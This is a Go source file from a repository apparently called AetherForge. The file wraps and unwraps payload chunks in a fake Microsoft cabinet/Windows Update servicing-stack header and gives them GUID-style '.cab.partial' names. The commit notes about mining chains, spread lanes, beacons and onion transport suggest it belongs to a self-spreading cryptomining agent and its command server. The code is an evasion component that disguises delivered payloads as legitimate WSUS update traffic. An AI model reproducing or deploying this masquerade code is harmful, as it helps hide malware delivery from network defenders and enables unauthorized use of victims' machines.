Files
AetherForge/server/internal/api/wsus_format_mimic.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

70 lines
2.1 KiB
Go

package api
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
)
const (
wsusSSUEnvelopeTag = "AFWSU1\x00"
wsusSSUMetadataSize = 96
)
// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
func wrapWSUSChunkPayload(payload []byte) []byte {
meta := make([]byte, wsusSSUMetadataSize)
copy(meta[0:4], "MSCF")
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
binary.LittleEndian.PutUint32(meta[8:12], total)
binary.LittleEndian.PutUint16(meta[16:18], 1)
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
copy(meta[36:44], "SSU2024\x00")
copy(meta[44:52], "WU-CACHE")
copy(meta[80:88], ".partial")
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
out := make([]byte, 0, len(meta)+len(payload))
out = append(out, meta...)
out = append(out, payload...)
return out
}
func wsusFormatMimicChunkName(contentHash string, index int) string {
h := strings.ToLower(strings.TrimSpace(contentHash))
if len(h) < 32 {
h = strings.Repeat("0", 32-len(h)) + h
}
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
if index > 0 {
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
}
return guid + ".cab.partial"
}
func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
if len(data) < wsusSSUMetadataSize+1 {
return nil, fmt.Errorf("wsus ssu envelope too short")
}
if !bytes.HasPrefix(data, []byte("MSCF")) {
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
}
tag := []byte(wsusSSUEnvelopeTag)
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
if idx < 0 {
return nil, fmt.Errorf("wsus ssu envelope tag not found")
}
off := idx + len(tag)
if off+4 > wsusSSUMetadataSize {
return nil, fmt.Errorf("wsus ssu envelope length truncated")
}
n := binary.LittleEndian.Uint32(data[off : off+4])
start := wsusSSUMetadataSize
if int(n) < 0 || start+int(n) > len(data) {
return nil, fmt.Errorf("wsus ssu payload length invalid")
}
return data[start : start+int(n)], nil
}